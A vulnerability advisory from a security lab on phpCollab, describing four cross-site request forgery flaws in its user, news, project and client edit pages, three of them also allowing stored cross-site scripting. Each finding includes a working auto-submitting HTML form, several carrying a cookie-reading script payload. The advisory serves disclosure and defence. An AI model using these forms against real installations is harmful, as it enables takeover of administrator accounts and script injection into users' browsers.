Cross-site Request Forgery (CSRF) in phpCollab

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in phpCollab which can be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in phpCollab
1.1 The vulnerability exists due to insufficient validation of the request origin in users/edituser.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/users/edituser.php?id=USERID&action=update" method="post" name="main">
<input type="hidden" name="un" value="test">
<input type="hidden" name="unOld" value="test">
<input type="hidden" name="fn" value="test">
<input type="hidden" name="tit" value="test">
<input type="hidden" name="em" value="email@example.com">
<input type="hidden" name="pw" value="">
<input type="hidden" name="pwa" value="">
<input type="hidden" name="perm" value="5">
<input type="hidden" name="Save" value="Save">
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in newsdesk/editnews.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials. Due to insufficient sanitation of input data in the "links" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/newsdesk/editnews.php?id=NEWSID&action=update" method="post">
<input type="hidden" name="author" value="1">
<input type="hidden" name="title" value="news2">
<input type="hidden" name="related" value="g">
<input type="hidden" name="content" value="hello2">
<input type="hidden" name="links" value='2"><script>alert(document.cookie)</script>'>
<input type="hidden" name="rss" value="1">
<input type="submit" id="btn" name="submit" value="Save">
</form>
<script>
document.getElementById('btn').click();
< /script>
1.3 The vulnerability exists due to insufficient validation of the request origin in projects/editproject.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials. Due to insufficient sanitation of input data in the "url_dev" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/projects/editproject.php?id=1&action=update&docopy=false " method="post" name="main">
<input type="hidden" name="projectPublished" value="1">
<input type="hidden" name="pn" value="project name">
<input type="hidden" name="pr" value="3">
<input type="hidden" name="d" value="description">
<input type="hidden" name="url_dev" value='site"><script>alert(document.cookie)</script>'>
<input type="hidden" name="url_prod" value="">
<input type="hidden" name="pown" value="1">
<input type="hidden" name="clod" value="1">
<input type="hidden" name="thisPhase" value="0">
<input type="hidden" name="st" value="2">
<input type="hidden" name="up" value="51200">
<input type="hidden" name="hourly_rate" value="200.00">
</form>
<script>
document.main.submit();
</script>
1.4 The vulnerability exists due to insufficient validation of the request origin in clients/editclient.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials. Due to insufficient sanitation of input data in the "url" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/clients/editclient.php?id=CLIENTID&action=update" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="100000000">
<input type="hidden" name="cn" value="client">
<input type="hidden" name="add" value="">
<input type="hidden" name="client_phone" value="">
<input type="hidden" name="url" value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="email" value="">
<input type="hidden" name="comments" value="">
<input type="hidden" name="hourly_rate" value="0.00">
<input type="hidden" name="upload" value="">
</form>
<script>
document.main.submit();
</script>